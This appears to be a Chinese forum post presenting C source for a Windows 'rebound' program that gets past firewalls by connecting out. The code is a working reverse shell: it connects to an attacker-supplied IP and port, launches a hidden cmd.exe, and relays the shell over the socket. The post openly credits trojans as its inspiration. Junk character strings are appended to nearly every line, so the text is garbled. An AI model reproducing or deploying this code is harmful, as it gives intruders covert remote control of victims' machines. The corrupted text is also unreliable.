Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 sRqecG(n  
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/* ============================== s[t<2)i  
Rebound port in Windows NT "fW }6pS  
By wind,2006/7 OkfxX&n  
===============================*/ l@ (:Q!Sk  
#include TPak,h(1  
#include d`=LZio  
t[@>u'YKt  
#pragma comment(lib,"wsock32.lib") e[0"x.gu  
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void OutputShell(); 8@RtL,[d
 
SOCKET sClient; G=SMz+z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `uH7~ r^  
tw&v@HUP  
void main(int argc,char **argv) d ez4g  
{ OA(.&5]  
WSADATA stWsaData; ivyaGAF}+o  
int nRet; SD<a#S\o  
SOCKADDR_IN stSaiClient,stSaiServer; U4<c![Pp.  
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if(argc != 3) $*T?}r>  
{ | L1+7  
printf("Useage:\n\rRebound DestIP DestPort\n"); '+27_j  
return; 
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} Bv'%$}}-  
#sDb611}#  
WSAStartup(MAKEWORD(2,2),&stWsaData); c+ByEP4EG  
[[zNAq)"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ZfK[o{9>  
l;L_A@B<  
stSaiClient.sin_family = AF_INET; _53~D=  
stSaiClient.sin_port = htons(0); cD}]4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^_<|~  
h /^bRs`;  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q2uV/M1?  
{ G\TO]c  
printf("Bind Socket Failed!\n"); nw0#gDI|  
return; l{>j8Ln
 
} (QJe-)0_y  
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stSaiServer.sin_family = AF_INET; x3Y)l1gh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b*M?\ aA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nP]!{J]  
_lFw1pa#\  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l $"hhI8  
{ $2?j2}M  
printf("Connect Error!"); fe,6YXUf  
return; =I)43ahd  
} ~~ rR< re  
OutputShell(); !hhL",  
} 
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void OutputShell() m<#12#D  
{ 5<R m{  
char szBuff[1024]; [!-gb+L  
SECURITY_ATTRIBUTES stSecurityAttributes; G0Qw& mqF  
OSVERSIONINFO stOsversionInfo; 3m`>D e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~IS8DW$;  
STARTUPINFO stStartupInfo; 9;?u
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char *szShell; ~"CGur P  
PROCESS_INFORMATION stProcessInformation; }Mt1C~{(  
unsigned long lBytesRead; 7K:V<vX5  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (rkg0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]p3f54!  
stSecurityAttributes.lpSecurityDescriptor = 0; +ovK~K$A  
stSecurityAttributes.bInheritHandle = TRUE; *^~ =/:  
tmooS7\a  
gtZmBe=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4]ni-u0*  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E<[ s+iX  

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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); *_
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kzDN(_<1  
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; %BP>,E/w  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k[;)/LfhS  
/uj^w&l#  
GetVersionEx(&stOsversionInfo); bIAE?D  
<ak[`]  
switch(stOsversionInfo.dwPlatformId) "J1A9|  
{ 7RL J  
case 1: ]HuB%G|t1V  
szShell = "command.com"; 7GYf#} N  
break; )hXTgUZa  
default: 6FA+qYSV  
szShell = "cmd.exe"; SG&,o=I$  
break; pg4W?N`  
} cMXv  
30!DraW8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &>,;ye>A  
m9DFnk<D  
send(sClient,szMsg,77,0); ,PTM'O@aU#  
while(1) 1 :p'  
{ o@e/P;E  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6dRhK+|  
if(lBytesRead) $^ee~v;m4  
{ N3n]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g X!>ef  
send(sClient,szBuff,lBytesRead,0); rx1u*L  
} k&ci5MpN  
else rexv)!J  
{ S4x9k{Xn  
lBytesRead=recv(sClient,szBuff,1024,0); im2mA8OH  
if(lBytesRead<=0) break; .| 4P :r  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "?NDN4l*  
} {dpC;jsW1  
} DM^0[3XuV5  
o5o myMN  
return; MJXnAIG?2  
}